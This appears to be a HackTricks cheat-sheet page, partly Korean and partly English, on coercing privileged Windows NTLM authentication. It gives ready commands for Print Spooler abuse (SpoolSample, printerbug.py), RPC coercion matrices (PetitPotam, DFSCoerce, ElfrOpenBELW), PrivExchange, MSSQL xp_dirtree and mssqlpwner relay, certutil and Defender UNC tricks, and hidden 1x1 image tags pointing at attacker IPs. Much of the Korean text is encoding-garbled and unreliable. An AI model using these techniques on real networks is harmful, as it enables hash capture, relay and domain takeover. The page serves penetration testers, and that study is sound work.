Force NTLM Privileged Authentication

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SharpSystemTriggers

SharpSystemTriggers๋Š” ํƒ€์‚ฌ ์ข…์†์„ฑ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด MIDL compiler๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ C#์œผ๋กœ ์ž‘์„ฑ๋œ ์›๊ฒฉ ์ธ์ฆ ํŠธ๋ฆฌ๊ฑฐ๋“ค์˜ collection์ž…๋‹ˆ๋‹ค.

Spooler Service Abuse

๋งŒ์•ฝ Print Spooler ์„œ๋น„์Šค๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ด๋ฏธ ์•Œ๊ณ  ์žˆ๋Š” ์ผ๋ถ€ AD ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ํ”„๋ฆฐํŠธ ์„œ๋ฒ„์— ์ƒˆ๋กœ์šด ์ธ์‡„ ์ž‘์—…์— ๋Œ€ํ•œ ์—…๋ฐ์ดํŠธ๋ฅผ ์š”์ฒญํ•˜๊ณ  ๋‹จ์ˆœํžˆ ๊ทธ์—๊ฒŒ ์•Œ๋ฆผ์„ ์–ด๋–ค ์‹œ์Šคํ…œ์œผ๋กœ ์ „์†กํ•˜๋ผ๊ณ  ์ง€์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ฐธ๊ณ ๋กœ ํ”„๋ฆฐํ„ฐ๊ฐ€ ์ž„์˜์˜ ์‹œ์Šคํ…œ์œผ๋กœ ์•Œ๋ฆผ์„ ๋ณด๋‚ผ ๋•Œ, ๊ทธ ์‹œ์Šคํ…œ์— ๋Œ€ํ•ด ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์ž๋Š” Print Spooler ์„œ๋น„์Šค๊ฐ€ ์ž„์˜์˜ ์‹œ์Šคํ…œ์— ๋Œ€ํ•ด ์ธ์ฆํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋น„์Šค๋Š” ์ด ์ธ์ฆ์—์„œ ์ปดํ“จํ„ฐ ๊ณ„์ •์„ ์‚ฌ์šฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Finding Windows Servers on the domain

PowerShell์„ ์‚ฌ์šฉํ•ด Windows ํ˜ธ์ŠคํŠธ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ์„œ๋ฒ„๊ฐ€ ๋ณดํ†ต ์šฐ์„  ๋Œ€์ƒ์ด๋ฏ€๋กœ, ์šฐ์„  ๊ฑฐ๊ธฐ์— ์ง‘์ค‘ํ•ฉ์‹œ๋‹ค:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Spooler ์„œ๋น„์Šค๊ฐ€ ์ˆ˜์‹  ์ค‘์ธ์ง€ ํ™•์ธํ•˜๊ธฐ

์•ฝ๊ฐ„ ์ˆ˜์ •๋œ @mysmartlogin์˜ (Vincent Le Toux์˜) SpoolerScanner๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Spooler Service๊ฐ€ ์ˆ˜์‹  ์ค‘์ธ์ง€ ํ™•์ธํ•˜์„ธ์š”:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Linux์—์„œ rpcdump.py๋ฅผ ์‚ฌ์šฉํ•ด MS-RPRN Protocol์„ ์ฐพ์•„๋ณผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

์„œ๋น„์Šค์—๊ฒŒ ์ž„์˜์˜ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด ์ธ์ฆํ•˜๋„๋ก ์š”์ฒญํ•˜๊ธฐ

๋‹ค์Œ ๋งํฌ์—์„œ SpoolSample from here์„ ์ปดํŒŒ์ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SpoolSample.exe <TARGET> <RESPONDERIP>

๋˜๋Š” Linux๋ฅผ ์‚ฌ์šฉ ์ค‘์ด๋ผ๋ฉด 3xocyteโ€™s dementor.py ๋˜๋Š” printerbug.py๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Unconstrained Delegation๊ณผ ๊ฒฐํ•ฉ

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฏธ Unconstrained Delegation์ด ์„ค์ •๋œ ์ปดํ“จํ„ฐ๋ฅผ ์žฅ์•…ํ•œ ์ƒํƒœ๋ผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ํ”„๋ฆฐํ„ฐ๊ฐ€ ํ•ด๋‹น ์ปดํ“จํ„ฐ์— ์ธ์ฆํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋‹ค. Unconstrained Delegation ๋•Œ๋ฌธ์— ํ”„๋ฆฐํ„ฐ์˜ ์ปดํ“จํ„ฐ ๊ณ„์ •์˜ TGT๋Š” Unconstrained Delegation์ด ์„ค์ •๋œ ์ปดํ“จํ„ฐ์˜ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋œ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฏธ ์ด ํ˜ธ์ŠคํŠธ๋ฅผ ์žฅ์•…ํ–ˆ์œผ๋ฏ€๋กœ, ๊ทธ๋Š” ์ด ํ‹ฐ์ผ“์„ ํšŒ์ˆ˜ํ•˜์—ฌ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค (Pass the Ticket).

RPC Force authentication

Coercer

RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)

  • MS-RPRN (Print System Remote Protocol)
  • Pipe: \PIPE\spoolss
  • IF UUID: 12345678-1234-abcd-ef00-0123456789ab
  • Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
  • Tools: PrinterBug / PrintNightmare-family
  • MS-PAR (Print System Asynchronous Remote)
  • Pipe: \PIPE\spoolss
  • IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
  • Opnum: 0 RpcAsyncOpenPrinter
  • MS-EFSR (Encrypting File System Remote Protocol)
  • Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
  • IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
  • Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
  • Tool: PetitPotam
  • MS-DFSNM (DFS Namespace Management)
  • Pipe: \PIPE\netdfs
  • IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
  • Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
  • Tool: DFSCoerce
  • MS-FSRVP (File Server Remote VSS)
  • Pipe: \PIPE\FssagentRpc
  • IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
  • Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
  • Tool: ShadowCoerce
  • MS-EVEN (EventLog Remoting)
  • Pipe: \PIPE\even
  • IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
  • Opnum: 9 ElfrOpenBELW
  • Tool: CheeseOunce

Note: These methods accept parameters that can carry a UNC path (e.g., \\attacker\share). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.

MS-EVEN: ElfrOpenBELW (opnum 9) coercion

  • Interface: MS-EVEN over \PIPE\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
  • Call signature: ElfrOpenBELW(UNCServerName, BackupFileName=โ€œ\\attacker\share\backup.evtโ€, MajorVersion=1, MinorVersion=1, LogHandle)
  • Effect: the target attempts to open the supplied backup log path and authenticates to the attacker-controlled UNC.
  • Practical use: coerce Tier 0 assets (DC/RODC/Citrix/etc.) to emit NetNTLM, then relay to AD CS endpoints (ESC8/ESC11 scenarios) or other privileged services.

PrivExchange

The PrivExchange attack is a result of a flaw found in the Exchange Server PushSubscription feature. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP.

By default, the Exchange service runs as SYSTEM and is given excessive privileges (specifically, it has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be exploited to enable the relaying of information to LDAP and subsequently extract the domain NTDS database. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account.

Inside Windows

If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

๋˜๋Š” ์ด ๋‹ค๋ฅธ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์„ธ์š”: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

certutil.exe lolbin (Microsoft-signed binary)์„ ์‚ฌ์šฉํ•˜์—ฌ NTLM ์ธ์ฆ์„ ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋‹ค:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

์ด๋ฉ”์ผ์„ ํ†ตํ•ด

๋งŒ์•ฝ ์นจํ•ดํ•˜๋ ค๋Š” ๋จธ์‹ ์— ๋กœ๊ทธ์ธํ•˜๋Š” ์‚ฌ์šฉ์ž์˜ ์ด๋ฉ”์ผ ์ฃผ์†Œ๋ฅผ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, ๊ทธ์—๊ฒŒ ๋‹ค์Œ๊ณผ ๊ฐ™์€ 1x1 ์ด๋ฏธ์ง€๊ฐ€ ํฌํ•จ๋œ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

๊ทธ๊ฐ€ ๊ทธ๊ฒƒ์„ ์—ด๋ฉด ์ธ์ฆ์„ ์‹œ๋„ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

MitM

์ปดํ“จํ„ฐ์— MitM attack์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ  ๊ทธ๊ฐ€ ๋ณผ ํŽ˜์ด์ง€์— HTML์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํŽ˜์ด์ง€์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ด๋ฏธ์ง€๋ฅผ ์ฃผ์ž…ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

NTLM ์ธ์ฆ์„ ๊ฐ•์ œ๋กœ ์œ ๋„ํ•˜๊ณ  ํ”ผ์‹ฑํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๋“ค

Places to steal NTLM creds

NTLMv1 ํฌ๋ž˜ํ‚น

๋งŒ์•ฝ NTLMv1 challenges read here how to crack them์„ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด.\

Remember that in order to crack NTLMv1 you need to set Responder challenge to โ€œ1122334455667788โ€

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ